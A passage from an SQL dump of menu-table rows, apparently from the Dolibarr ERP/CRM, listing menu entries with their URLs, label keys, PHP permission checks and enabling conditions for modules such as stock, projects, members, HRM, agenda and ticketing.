15:14:30'),(163893,'auguria',1,'','left','products',163887,NULL,NULL,6,'/product/stock/productlot_list.php','','LotSerial',NULL,'products',1,'','$user->rights->produit->lire && $user->rights->stock->lire','$conf->productbatch->enabled',2,'2017-08-30 15:14:30'),(163987,'auguria',1,'','left','products',161090,NULL,NULL,1,'/product/index.php?leftmenu=service&type=1','','Services',NULL,'products',0,'service','$user->rights->service->lire','$conf->service->enabled',2,'2017-08-30 15:14:30'),(163988,'auguria',1,'','left','products',163987,NULL,NULL,0,'/product/card.php?leftmenu=service&action=create&type=1','','NewService',NULL,'products',1,'','$user->rights->service->creer','$conf->service->enabled',2,'2017-08-30 15:14:30'),(163989,'auguria',1,'','left','products',163987,NULL,NULL,1,'/product/list.php?leftmenu=service&type=1','','List',NULL,'products',1,'','$user->rights->service->lire','$conf->service->enabled',2,'2017-08-30 15:14:30'),(163990,'auguria',1,'','left','products',163987,NULL,NULL,5,'/product/stats/card.php?id=all&leftmenu=stats&type=1','','Statistics',NULL,'main',1,'','$user->rights->service->lire','$conf->propal->enabled',2,'2017-08-30 15:14:30'),(164187,'auguria',1,'','left','products',161090,NULL,NULL,3,'/product/stock/index.php?leftmenu=stock','','Stock',NULL,'stocks',0,'stock','$user->rights->stock->lire','$conf->stock->enabled',2,'2017-08-30 15:14:30'),(164188,'auguria',1,'','left','products',164187,NULL,NULL,0,'/product/stock/card.php?action=create','','MenuNewWarehouse',NULL,'stocks',1,'','$user->rights->stock->creer','$conf->stock->enabled',2,'2017-08-30 15:14:30'),(164189,'auguria',1,'','left','products',164187,NULL,NULL,1,'/product/stock/list.php','','List',NULL,'stocks',1,'','$user->rights->stock->lire','$conf->stock->enabled',2,'2017-08-30 15:14:30'),(164191,'auguria',1,'','left','products',164187,NULL,NULL,3,'/product/stock/mouvement.php','','Movements',NULL,'stocks',1,'','$user->rights->stock->mouvement->lire','$conf->stock->enabled',2,'2017-08-30 15:14:30'),(164192,'auguria',1,'','left','products',164187,NULL,NULL,4,'/product/stock/replenish.php','','Replenishments',NULL,'stocks',1,'','$user->rights->stock->mouvement->creer && $user->rights->fournisseur->lire','$conf->stock->enabled && $conf->supplier_order->enabled',2,'2017-08-30 15:14:30'),(164193,'auguria',1,'','left','products',164187,NULL,NULL,5,'/product/stock/massstockmove.php','','MassStockTransferShort',NULL,'stocks',1,'','$user->rights->stock->mouvement->creer','$conf->stock->enabled',2,'2017-08-30 15:14:30'),(164287,'auguria',1,'','left','products',161090,NULL,NULL,4,'/categories/index.php?leftmenu=cat&type=0','','Categories',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->categorie->enabled',2,'2017-08-30 15:14:30'),(164288,'auguria',1,'','left','products',164287,NULL,NULL,0,'/categories/card.php?action=create&type=0','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->categorie->enabled',2,'2017-08-30 15:14:30'),(164487,'auguria',1,'','left','project',161094,NULL,NULL,3,'/projet/activity/perweek.php?leftmenu=projects','','NewTimeSpent',NULL,'projects',0,'','$user->rights->projet->lire','$conf->projet->enabled && $conf->global->PROJECT_USE_TASKS',2,'2017-08-30 15:14:30'),(164687,'auguria',1,'','left','project',161094,NULL,NULL,0,'/projet/index.php?leftmenu=projects','','Projects',NULL,'projects',0,'projects','$user->rights->projet->lire','$conf->projet->enabled',2,'2017-08-30 15:14:30'),(164688,'auguria',1,'','left','project',164687,NULL,NULL,1,'/projet/card.php?leftmenu=projects&action=create','','NewProject',NULL,'projects',1,'','$user->rights->projet->creer','$conf->projet->enabled',2,'2017-08-30 15:14:30'),(164689,'auguria',1,'','left','project',164687,NULL,NULL,2,'/projet/list.php?leftmenu=projects','','List',NULL,'projects',1,'','$user->rights->projet->lire','$conf->projet->enabled',2,'2017-08-30 15:14:30'),(164690,'auguria',1,'','left','project',164687,NULL,NULL,3,'/projet/stats/index.php?leftmenu=projects','','Statistics',NULL,'projects',1,'','$user->rights->projet->lire','$conf->projet->enabled',2,'2017-08-30 15:14:30'),(164787,'auguria',1,'','left','project',161094,NULL,NULL,0,'/projet/activity/index.php?leftmenu=projects','','Activities',NULL,'projects',0,'','$user->rights->projet->lire','$conf->projet->enabled && $conf->global->PROJECT_USE_TASKS',2,'2017-08-30 15:14:30'),(164788,'auguria',1,'','left','project',164787,NULL,NULL,1,'/projet/tasks.php?leftmenu=projects&action=create','','NewTask',NULL,'projects',1,'','$user->rights->projet->creer','$conf->projet->enabled && $conf->global->PROJECT_USE_TASKS',2,'2017-08-30 15:14:30'),(164789,'auguria',1,'','left','project',164787,NULL,NULL,2,'/projet/tasks/list.php?leftmenu=projects','','List',NULL,'projects',1,'','$user->rights->projet->lire','$conf->projet->enabled && $conf->global->PROJECT_USE_TASKS',2,'2017-08-30 15:14:30'),(164791,'auguria',1,'','left','project',164787,NULL,NULL,4,'/projet/tasks/stats/index.php?leftmenu=projects','','Statistics',NULL,'projects',1,'','$user->rights->projet->lire','$conf->projet->enabled && $conf->global->PROJECT_USE_TASKS',2,'2017-08-30 15:14:30'),(164891,'auguria',1,'','left','project',161094,NULL,NULL,4,'/categories/index.php?leftmenu=cat&type=6','','Categories',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->categorie->enabled',2,'2017-08-30 15:14:30'),(164892,'auguria',1,'','left','project',164891,NULL,NULL,0,'/categories/card.php?action=create&type=6','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->categorie->enabled',2,'2017-08-30 15:14:30'),(164987,'auguria',1,'','left','tools',161095,NULL,NULL,0,'/comm/mailing/index.php?leftmenu=mailing','','EMailings',NULL,'mails',0,'mailing','$user->rights->mailing->lire','$conf->mailing->enabled',0,'2017-08-30 15:14:30'),(164988,'auguria',1,'','left','tools',164987,NULL,NULL,0,'/comm/mailing/card.php?leftmenu=mailing&action=create','','NewMailing',NULL,'mails',1,'','$user->rights->mailing->creer','$conf->mailing->enabled',0,'2017-08-30 15:14:30'),(164989,'auguria',1,'','left','tools',164987,NULL,NULL,1,'/comm/mailing/list.php?leftmenu=mailing','','List',NULL,'mails',1,'','$user->rights->mailing->lire','$conf->mailing->enabled',0,'2017-08-30 15:14:30'),(165187,'auguria',1,'','left','tools',161095,NULL,NULL,2,'/exports/index.php?leftmenu=export','','FormatedExport',NULL,'exports',0,'export','$user->rights->export->lire','$conf->export->enabled',2,'2017-08-30 15:14:30'),(165188,'auguria',1,'','left','tools',165187,NULL,NULL,0,'/exports/export.php?leftmenu=export','','NewExport',NULL,'exports',1,'','$user->rights->export->creer','$conf->export->enabled',2,'2017-08-30 15:14:30'),(165217,'auguria',1,'','left','tools',161095,NULL,NULL,2,'/imports/index.php?leftmenu=import','','FormatedImport',NULL,'exports',0,'import','$user->rights->import->run','$conf->import->enabled',2,'2017-08-30 15:14:30'),(165218,'auguria',1,'','left','tools',165217,NULL,NULL,0,'/imports/import.php?leftmenu=import','','NewImport',NULL,'exports',1,'','$user->rights->import->run','$conf->import->enabled',2,'2017-08-30 15:14:30'),(165287,'auguria',1,'','left','members',161100,NULL,NULL,0,'/adherents/index.php?leftmenu=members&mainmenu=members','','Members',NULL,'members',0,'members','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165288,'auguria',1,'','left','members',165287,NULL,NULL,0,'/adherents/card.php?leftmenu=members&action=create','','NewMember',NULL,'members',1,'','$user->rights->adherent->creer','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165289,'auguria',1,'','left','members',165287,NULL,NULL,1,'/adherents/list.php','','List',NULL,'members',1,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165290,'auguria',1,'','left','members',165289,NULL,NULL,2,'/adherents/list.php?leftmenu=members&statut=-1','','MenuMembersToValidate',NULL,'members',2,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165291,'auguria',1,'','left','members',165289,NULL,NULL,3,'/adherents/list.php?leftmenu=members&statut=1','','MenuMembersValidated',NULL,'members',2,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165292,'auguria',1,'','left','members',165289,NULL,NULL,4,'/adherents/list.php?leftmenu=members&statut=1&filter=outofdate','','MenuMembersNotUpToDate',NULL,'members',2,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165293,'auguria',1,'','left','members',165289,NULL,NULL,5,'/adherents/list.php?leftmenu=members&statut=1&filter=uptodate','','MenuMembersUpToDate',NULL,'members',2,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165294,'auguria',1,'','left','members',165289,NULL,NULL,6,'/adherents/list.php?leftmenu=members&statut=0','','MenuMembersResiliated',NULL,'members',2,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165295,'auguria',1,'','left','members',165287,NULL,NULL,7,'/adherents/stats/geo.php?leftmenu=members&mode=memberbycountry','','MenuMembersStats',NULL,'members',1,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165387,'auguria',1,'','left','members',161100,NULL,NULL,1,'/adherents/index.php?leftmenu=members&mainmenu=members','','Subscriptions',NULL,'compta',0,'','$user->rights->adherent->cotisation->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165388,'auguria',1,'','left','members',165387,NULL,NULL,0,'/adherents/list.php?statut=-1&leftmenu=accountancy&mainmenu=members','','NewSubscription',NULL,'compta',1,'','$user->rights->adherent->cotisation->creer','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165389,'auguria',1,'','left','members',165387,NULL,NULL,1,'/adherents/subscription/list.php?leftmenu=members','','List',NULL,'compta',1,'','$user->rights->adherent->cotisation->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165390,'auguria',1,'','left','members',165387,NULL,NULL,7,'/adherents/stats/index.php?leftmenu=members','','MenuMembersStats',NULL,'members',1,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165589,'auguria',1,'','left','members',165287,NULL,NULL,9,'/adherents/htpasswd.php?leftmenu=export','','Filehtpasswd',NULL,'members',1,'','$user->rights->adherent->export','! empty($conf->global->MEMBER_LINK_TO_HTPASSWDFILE) && $conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165590,'auguria',1,'','left','members',165287,NULL,NULL,10,'/adherents/cartes/carte.php?leftmenu=export','','MembersCards',NULL,'members',1,'','$user->rights->adherent->export','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165687,'auguria',1,'','left','hrm',161102,NULL,NULL,1,'/user/index.php?leftmenu=hrm&mode=employee','','Employees',NULL,'hrm',0,'hrm','$user->rights->hrm->employee->read','$conf->hrm->enabled',0,'2017-08-30 15:14:30'),(165688,'auguria',1,'','left','hrm',165687,NULL,NULL,1,'/user/card.php?action=create&employee=1','','NewEmployee',NULL,'hrm',1,'','$user->rights->hrm->employee->write','$conf->hrm->enabled',0,'2017-08-30 15:14:30'),(165689,'auguria',1,'','left','hrm',165687,NULL,NULL,2,'/user/index.php?$leftmenu=hrm&mode=employee&contextpage=employeelist','','List',NULL,'hrm',1,'','$user->rights->hrm->employee->read','$conf->hrm->enabled',0,'2017-08-30 15:14:30'),(165787,'auguria',1,'','left','members',161100,NULL,NULL,5,'/adherents/type.php?leftmenu=setup&mainmenu=members','','MembersTypes',NULL,'members',0,'setup','$user->rights->adherent->configurer','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165788,'auguria',1,'','left','members',165787,NULL,NULL,0,'/adherents/type.php?leftmenu=setup&mainmenu=members&action=create','','New',NULL,'members',1,'','$user->rights->adherent->configurer','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165789,'auguria',1,'','left','members',165787,NULL,NULL,1,'/adherents/type.php?leftmenu=setup&mainmenu=members','','List',NULL,'members',1,'','$user->rights->adherent->configurer','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(166087,'auguria',1,'','left','hrm',161102,NULL,NULL,1,'/holiday/list.php?&leftmenu=hrm','','CPTitreMenu',NULL,'holiday',0,'hrm','$user->rights->holiday->read','$conf->holiday->enabled',0,'2017-08-30 15:14:30'),(166088,'auguria',1,'','left','hrm',166087,NULL,NULL,1,'/holiday/card.php?&action=request','','MenuAddCP',NULL,'holiday',1,'','$user->rights->holiday->write','$conf->holiday->enabled',0,'2017-08-30 15:14:30'),(166089,'auguria',1,'','left','hrm',166087,NULL,NULL,1,'/holiday/list.php?&leftmenu=hrm','','List',NULL,'holiday',1,'','$user->rights->holiday->read','$conf->holiday->enabled',0,'2017-08-30 15:14:30'),(166090,'auguria',1,'','left','hrm',166089,NULL,NULL,1,'/holiday/list.php?select_statut=2&leftmenu=hrm','','ListToApprove',NULL,'trips',2,'','$user->rights->holiday->read','$conf->holiday->enabled',0,'2017-08-30 15:14:30'),(166091,'auguria',1,'','left','hrm',166087,NULL,NULL,2,'/holiday/define_holiday.php?&action=request','','MenuConfCP',NULL,'holiday',1,'','$user->rights->holiday->define_holiday','$conf->holiday->enabled',0,'2017-08-30 15:14:30'),(166092,'auguria',1,'','left','hrm',166087,NULL,NULL,3,'/holiday/view_log.php?&action=request','','MenuLogCP',NULL,'holiday',1,'','$user->rights->holiday->define_holiday','$conf->holiday->enabled',0,'2017-08-30 15:14:30'),(166187,'auguria',1,'','left','commercial',161092,NULL,NULL,6,'/fourn/commande/index.php?leftmenu=orders_suppliers','','SuppliersOrders',NULL,'orders',0,'orders_suppliers','$user->rights->fournisseur->commande->lire','$conf->supplier_order->enabled',2,'2017-08-30 15:14:30'),(166188,'auguria',1,'','left','commercial',166187,NULL,NULL,0,'/fourn/commande/card.php?action=create&leftmenu=orders_suppliers','','NewOrder',NULL,'orders',1,'','$user->rights->fournisseur->commande->creer','$conf->supplier_order->enabled',2,'2017-08-30 15:14:30'),(166189,'auguria',1,'','left','commercial',166187,NULL,NULL,1,'/fourn/commande/list.php?leftmenu=orders_suppliers&search_status=0','','List',NULL,'orders',1,'','$user->rights->fournisseur->commande->lire','$conf->supplier_order->enabled',2,'2017-08-30 15:14:30'),(166195,'auguria',1,'','left','commercial',166187,NULL,NULL,7,'/commande/stats/index.php?leftmenu=orders_suppliers&mode=supplier','','Statistics',NULL,'orders',1,'','$user->rights->fournisseur->commande->lire','$conf->supplier_order->enabled',2,'2017-08-30 15:14:30'),(166287,'auguria',1,'','left','members',161100,NULL,NULL,3,'/categories/index.php?leftmenu=cat&type=3','','MembersCategoriesShort',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->adherent->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(166288,'auguria',1,'','left','members',166287,NULL,NULL,0,'/categories/card.php?action=create&type=3','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->adherent->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(166387,'auguria',1,'','left','hrm',161102,NULL,NULL,5,'/expensereport/index.php?leftmenu=expensereport','','TripsAndExpenses',NULL,'trips',0,'expensereport','$user->rights->expensereport->lire','$conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(166388,'auguria',1,'','left','hrm',166387,NULL,NULL,1,'/expensereport/card.php?action=create&leftmenu=expensereport','','New',NULL,'trips',1,'','$user->rights->expensereport->creer','$conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(166389,'auguria',1,'','left','hrm',166387,NULL,NULL,2,'/expensereport/list.php?leftmenu=expensereport','','List',NULL,'trips',1,'','$user->rights->expensereport->lire','$conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(166390,'auguria',1,'','left','hrm',166389,NULL,NULL,2,'/expensereport/list.php?search_status=2&leftmenu=expensereport','','ListToApprove',NULL,'trips',2,'','$user->rights->expensereport->approve','$conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(166391,'auguria',1,'','left','hrm',166387,NULL,NULL,2,'/expensereport/stats/index.php?leftmenu=expensereport','','Statistics',NULL,'trips',1,'','$user->rights->expensereport->lire','$conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(167182,'all',1,'knowledgemanagement','left','ticket',-1,NULL,'ticket',101,'/knowledgemanagement/knowledgerecord_list.php','','MenuKnowledgeRecord','','knowledgemanagement',NULL,'knowledgemanagement_knowledgerecord','$user->rights->knowledgemanagement->knowledgerecord->read','$conf->knowledgemanagement->enabled',2,'2022-02-07 13:39:27'),(167183,'all',1,'knowledgemanagement','left','ticket',-1,'knowledgemanagement_knowledgerecord','ticket',111,'/knowledgemanagement/knowledgerecord_list.php','','ListKnowledgeRecord','','knowledgemanagement',NULL,'knowledgemanagement_list','$user->rights->knowledgemanagement->knowledgerecord->read','$conf->knowledgemanagement->enabled',2,'2022-02-07 13:39:27'),(167184,'all',1,'knowledgemanagement','left','ticket',-1,'knowledgemanagement_knowledgerecord','ticket',110,'/knowledgemanagement/knowledgerecord_card.php?action=create','','NewKnowledgeRecord','','knowledgemanagement',NULL,'knowledgemanagement_new','$user->rights->knowledgemanagement->knowledgerecord->write','$conf->knowledgemanagement->enabled',2,'2022-02-07 13:39:27'),(167185,'all',1,'knowledgemanagement','left','ticket',-1,'knowledgemanagement_knowledgerecord','ticket',112,'/categories/index.php?type=13','','Categories','','knowledgemanagement',NULL,NULL,'$user->rights->knowledgemanagement->knowledgerecord->read','$conf->knowledgemanagement->enabled',0,'2022-02-07 13:39:27'),(167386,'all',1,'ftp','top','ftp',0,NULL,NULL,100,'/ftp/index.php','','FTP','','ftp',NULL,NULL,'$user->rights->ftp->read || $user->rights->ftp->write || $user->rights->ftp->setup','$conf->ftp->enabled',2,'2022-12-27 17:49:24'),(167452,'all',1,'agenda','top','agenda',0,NULL,NULL,86,'/comm/action/index.php','','TMenuAgenda','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read || $user->rights->resource->read','$conf->agenda->enabled || $conf->resource->enabled',2,'2023-01-12 16:58:21'),(167453,'all',1,'agenda','left','agenda',167452,NULL,NULL,100,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda','','Actions','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2023-01-12 16:58:21'),(167454,'all',1,'agenda','left','agenda',167453,NULL,NULL,101,'/comm/action/card.php?mainmenu=agenda&leftmenu=agenda&action=create','','NewAction','','commercial',NULL,NULL,'($user->rights->agenda->myactions->create||$user->rights->agenda->allactions->create)','$conf->agenda->enabled',2,'2023-01-12 16:58:21'),(167455,'all',1,'agenda','left','agenda',167453,NULL,NULL,140,'/comm/action/index.php?action=default&mainmenu=agenda&leftmenu=agenda','','Calendar','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2023-01-12 16:58:21'),(167456,'all',1,'agenda','left','agenda',167455,NULL,NULL,141,'/comm/action/index.php?action=default&mainmenu=agenda&leftmenu=agenda&status=todo&filter=mine','','MenuToDoMyActions','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2023-01-12 16:58:21'),(167457,'all',1,'agenda','left','agenda',167455,NULL,NULL,142,'/comm/action/index.php?action=default&mainmenu=agenda&leftmenu=agenda&status=done&filter=mine','','MenuDoneMyActions','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2023-01-12 16:58:21'),(167458,'all',1,'agenda','left','agenda',167455,NULL,NULL,143,'/comm/action/index.php?action=default&mainmenu=agenda&leftmenu=agenda&status=todo&filtert=-1','','MenuToDoActions','','agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2023-01-12 16:58:21'),(167459,'all',1,'agenda','left','agenda',167455,NULL,NULL,144,'/comm/action/index.php?action=default&mainmenu=agenda&leftmenu=agenda&status=done&filtert=-1','','MenuDoneActions','','agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2023-01-12 16:58:21'),(167460,'all',1,'agenda','left','agenda',167453,NULL,NULL,110,'/comm/action/list.php?mode=show_list&mainmenu=agenda&leftmenu=agenda','','List','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2023-01-12 16:58:21'),(167461,'all',1,'agenda','left','agenda',167460,NULL,NULL,111,'/comm/action/list.php?mode=show_list&mainmenu=agenda&leftmenu=agenda&status=todo&filter=mine','','MenuToDoMyActions','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2023-01-12 16:58:21'),(167462,'all',1,'agenda','left','agenda',167460,NULL,NULL,112,'/comm/action/list.php?mode=show_list&mainmenu=agenda&leftmenu=agenda&status=done&filter=mine','','MenuDoneMyActions','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2023-01-12 16:58:21'),(167463,'all',1,'agenda','left','agenda',167460,NULL,NULL,113,'/comm/action/list.php?mode=show_list&mainmenu=agenda&leftmenu=agenda&status=todo&filtert=-1','','MenuToDoActions','','agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2023-01-12 16:58:21'),(167464,'all',1,'agenda','left','agenda',167460,NULL,NULL,114,'/comm/action/list.php?mode=show_list&mainmenu=agenda&leftmenu=agenda&status=done&filtert=-1','','MenuDoneActions','','agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2023-01-12 16:58:21'),(167465,'all',1,'agenda','left','agenda',167453,NULL,NULL,160,'/comm/action/rapport/index.php?mainmenu=agenda&leftmenu=agenda','','Reportings','','agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$conf->agenda->enabled',2,'2023-01-12 16:58:21'),(167466,'all',1,'agenda','left','agenda',167453,NULL,NULL,170,'/categories/index.php?mainmenu=agenda&leftmenu=agenda&type=10','','Categories','','agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$conf->categorie->enabled',2,'2023-01-12 16:58:21'),(167467,'all',1,'barcode','left','tools',-1,NULL,'tools',200,'/barcode/printsheet.php?mainmenu=tools&leftmenu=barcodeprint','','BarCodePrintsheet','','products',NULL,'barcodeprint','$user->hasRight(\"barcode\", \"read\")','isModEnabled(\"barcode\")',0,'2023-01-12 16:58:21'),(167468,'all',1,'barcode','left','home',-1,'admintools','home',300,'/barcode/codeinit.php?mainmenu=home&leftmenu=admintools','','MassBarcodeInit','','products',NULL,NULL,'$user->admin','isModEnabled(\"barcode\") && preg_match(\'/^(admintools|all)/\',$leftmenu)',0,'2023-01-12 16:58:21'),(167469,'all',1,'cron','left','home',-1,'admintools','home',500,'/cron/list.php?leftmenu=admintools','','CronList','','cron',NULL,NULL,'$user->rights->cron->read','$conf->cron->enabled && preg_match(\'/^(admintools|all)/\', $leftmenu)',2,'2023-01-12 16:58:21'),(167470,'all',1,'blockedlog','left','tools',-1,NULL,'tools',200,'/blockedlog/admin/blockedlog_list.php?mainmenu=tools&leftmenu=blockedlogbrowser','','BrowseBlockedLog','','blockedlog',NULL,'blockedlogbrowser','$user->rights->blockedlog->read','$conf->blockedlog->enabled',2,'2023-01-12 16:58:21'),(167471,'all',1,'ecm','top','ecm',0,NULL,NULL,82,'/ecm/index.php','','MenuECM','','ecm',NULL,NULL,'$user->rights->ecm->read || $user->rights->ecm->upload || $user->rights->ecm->setup','$conf->ecm->enabled',2,'2023-01-12 16:58:21'),(167472,'all',1,'ecm','left','ecm',-1,NULL,'ecm',101,'/ecm/index.php?mainmenu=ecm&leftmenu=ecm','','ECMArea','','ecm',NULL,'ecm','$user->rights->ecm->read || $user->rights->ecm->upload','$user->rights->ecm->read || $user->rights->ecm->upload',2,'2023-01-12 16:58:21'),(167473,'all',1,'ecm','left','ecm',-1,'ecm','ecm',102,'/ecm/index.php?action=file_manager&mainmenu=ecm&leftmenu=ecm','','ECMSectionsManual','','ecm',NULL,'ecm_manual','$user->rights->ecm->read || $user->rights->ecm->upload','$user->rights->ecm->read || $user->rights->ecm->upload',2,'2023-01-12 16:58:21'),(167474,'all',1,'ecm','left','ecm',-1,'ecm','ecm',103,'/ecm/index_auto.php?action=file_manager&mainmenu=ecm&leftmenu=ecm','','ECMSectionsAuto','','ecm',NULL,NULL,'$user->rights->ecm->read || $user->rights->ecm->upload','($user->rights->ecm->read || $user->rights->ecm->upload) && getDolGlobalInt(\"ECM_AUTO_TREE_ENABLED\")',2,'2023-01-12 16:58:21'),(167475,'all',1,'ecm','left','ecm',-1,'ecm','ecm',104,'/ecm/index_medias.php?action=file_manager&mainmenu=ecm&leftmenu=ecm','','ECMSectionsMedias','','ecm',NULL,NULL,'$user->rights->ecm->read || $user->rights->ecm->upload','($user->rights->ecm->read || $user->rights->ecm->upload) && getDolGlobalInt(\"MAIN_FEATURES_LEVEL\") == 2',2,'2023-01-12 16:58:21'),(167476,'all',1,'margins','left','billing',-1,NULL,'billing',100,'/margin/index.php','','Margins','','margins',NULL,'margins','$user->rights->margins->liretous','$conf->margin->enabled',2,'2023-01-12 16:58:22'),(167477,'all',1,'opensurvey','left','tools',-1,NULL,'tools',200,'/opensurvey/index.php?mainmenu=tools&leftmenu=opensurvey','','Survey','','opensurvey',NULL,'opensurvey','$user->rights->opensurvey->read','$conf->opensurvey->enabled',0,'2023-01-12 16:58:22'),(167478,'all',1,'opensurvey','left','tools',-1,'opensurvey','tools',210,'/opensurvey/wizard/index.php','','NewSurvey','','opensurvey',NULL,'opensurvey_new','$user->rights->opensurvey->write','$conf->opensurvey->enabled',0,'2023-01-12 16:58:22'),(167479,'all',1,'opensurvey','left','tools',-1,'opensurvey','tools',220,'/opensurvey/list.php','','List','','opensurvey',NULL,'opensurvey_list','$user->rights->opensurvey->read','$conf->opensurvey->enabled',0,'2023-01-12 16:58:22'),(167480,'all',1,'printing','left','home',-1,'admintools','home',300,'/printing/index.php?mainmenu=home&leftmenu=admintools','','MenuDirectPrinting','','printing',NULL,NULL,'$user->rights->printing->read','$conf->printing->enabled && preg_match(\'/^(admintools|all)/\', $leftmenu)',0,'2023-01-12 16:58:22'),(167481,'all',1,'recruitment','left','hrm',-1,NULL,'hrm',1001,'/recruitment/index.php','','Recruitment','','recruitment',NULL,'recruitmentjobposition','$user->rights->recruitment->recruitmentjobposition->read','$conf->recruitment->enabled',2,'2023-01-12 16:58:22'),(167482,'all',1,'recruitment','left','hrm',-1,'recruitmentjobposition','hrm',1002,'/recruitment/recruitmentjobposition_card.php?action=create','','NewPositionToBeFilled','','recruitment',NULL,'recruitment_recruitmentjobposition_new','$user->rights->recruitment->recruitmentjobposition->write','$conf->recruitment->enabled',2,'2023-01-12 16:58:22'),(167483,'all',1,'recruitment','left','hrm',-1,'recruitmentjobposition','hrm',1003,'/recruitment/recruitmentjobposition_list.php','','ListOfPositionsToBeFilled','','recruitment',NULL,'recruitment_recruitmentjobposition_list','$user->rights->recruitment->recruitmentjobposition->read','$conf->recruitment->enabled',2,'2023-01-12 16:58:22'),(167484,'all',1,'recruitment','left','hrm',-1,'recruitmentjobposition','hrm',1004,'/recruitment/recruitmentcandidature_card.php?action=create','','NewCandidature','','recruitment',NULL,'recruitment_recruitmentcandidature_new','$user->rights->recruitment->recruitmentjobposition->write','$conf->recruitment->enabled',2,'2023-01-12 16:58:22'),(167485,'all',1,'recruitment','left','hrm',-1,'recruitmentjobposition','hrm',1005,'/recruitment/recruitmentcandidature_list.php','','ListOfCandidatures','','recruitment',NULL,'recruitment_recruitmentcandidature_list','$user->rights->recruitment->recruitmentjobposition->read','$conf->recruitment->enabled',2,'2023-01-12 16:58:22'),(167486,'all',1,'resource','left','agenda',-1,NULL,'agenda',100,'/resource/list.php','','MenuResourceIndex','','resource',NULL,'resource','$user->rights->resource->read','1',0,'2023-01-12 16:58:22'),(167487,'all',1,'resource','left','agenda',-1,'resource','agenda',101,'/resource/card.php?action=create','','MenuResourceAdd','','resource',NULL,'resource_add','$user->rights->resource->write','1',0,'2023-01-12 16:58:22'),(167488,'all',1,'resource','left','agenda',-1,'resource','agenda',102,'/resource/list.php','','List','','resource',NULL,'resource_list','$user->rights->resource->read','1',0,'2023-01-12 16:58:22'),(167489,'all',1,'stripe','left','bank',-1,NULL,'bank',100,'','','StripeAccount','','stripe',NULL,'stripe','$user->rights->banque->lire','$conf->stripe->enabled && $conf->banque->enabled && $conf->global->MAIN_FEATURES_LEVEL >= 1',0,'2023-01-12 16:58:23'),(167490,'all',1,'stripe','left','bank',-1,'stripe','bank',102,'/stripe/charge.php','','StripeChargeList','','stripe',NULL,NULL,'$user->rights->banque->lire','$conf->stripe->enabled && $conf->banque->enabled && $conf->global->MAIN_FEATURES_LEVEL >= 1',0,'2023-01-12 16:58:23'),(167491,'all',1,'stripe','left','bank',-1,'stripe','bank',102,'/stripe/transaction.php','','StripeTransactionList','','stripe',NULL,NULL,'$user->rights->banque->lire','$conf->stripe->enabled && $conf->banque->enabled && $conf->global->MAIN_FEATURES_LEVEL >= 1',0,'2023-01-12 16:58:23'),(167492,'all',1,'stripe','left','bank',-1,'stripe','bank',103,'/stripe/payout.php','','StripePayoutList','','stripe',NULL,NULL,'$user->rights->banque->lire','$conf->stripe->enabled && $conf->banque->enabled && $conf->global->MAIN_FEATURES_LEVEL >= 1',0,'2023-01-12 16:58:23'),(167493,'all',1,'ticket','left','ticket',-1,NULL,'ticket',101,'/ticket/index.php','','Ticket','','ticket',NULL,'ticket','$user->rights->ticket->read','$conf->ticket->enabled',2,'2023-01-12 16:58:23'),(167494,'all',1,'ticket','left','ticket',-1,'ticket','ticket',102,'/ticket/card.php?action=create','','NewTicket','','ticket',NULL,NULL,'$user->rights->ticket->write','$conf->ticket->enabled',2,'2023-01-12 